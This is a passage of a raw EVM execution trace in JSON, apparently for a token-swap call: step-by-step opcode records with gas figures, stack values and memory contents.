000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8386,"op":"MUL","gas":117286,"gasCost":5,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0xa0","0x0","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8387,"op":"PUSH1","gas":117281,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0xa0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8389,"op":"ADD","gas":117278,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0xa0","0x0","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8390,"op":"ADD","gas":117275,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0xa0","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8391,"op":"MLOAD","gas":117272,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0xc0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8392,"op":"DUP6","gas":117269,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8393,"op":"DUP5","gas":117266,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8394,"op":"PUSH1","gas":117263,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8396,"op":"PUSH2","gas":117260,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa0","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8399,"op":"SWAP2","gas":117257,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa0","0x0","0x1","0x20d5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8400,"op":"SWAP1","gas":117254,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa0","0x20d5","0x1","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8401,"op":"PUSH2","gas":117251,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa0","0x20d5","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8404,"op":"JUMP","gas":117248,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa0","0x20d5","0x0","0x1","0x3b53"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15187,"op":"JUMPDEST","gas":117240,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa0","0x20d5","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15188,"op":"PUSH1","gas":117239,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa0","0x20d5","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15190,"op":"DUP3","gas":117236,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa0","0x20d5","0x0","0x1","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15191,"op":"NOT","gas":117233,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa0","0x20d5","0x0","0x1","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15192,"op":"DUP3","gas":117230,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa0","0x20d5","0x0","0x1","0x0","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15193,"op":"GT","gas":117227,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa0","0x20d5","0x0","0x1","0x0","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15194,"op":"ISZERO","gas":117224,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa0","0x20d5","0x0","0x1","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15195,"op":"PUSH2","gas":117221,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa0","0x20d5","0x0","0x1","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15198,"op":"JUMPI","gas":117218,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa0","0x20d5","0x0","0x1","0x0","0x1","0x3b66"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15206,"op":"JUMPDEST","gas":117208,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa0","0x20d5","0x0","0x1","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15207,"op":"POP","gas":117207,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa0","0x20d5","0x0","0x1","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15208,"op":"ADD","gas":117205,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa0","0x20d5","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15209,"op":"SWAP1","gas":117202,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa0","0x20d5","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15210,"op":"JUMP","gas":117199,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa0","0x1","0x20d5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8405,"op":"JUMPDEST","gas":117191,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8406,"op":"DUP2","gas":117190,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb124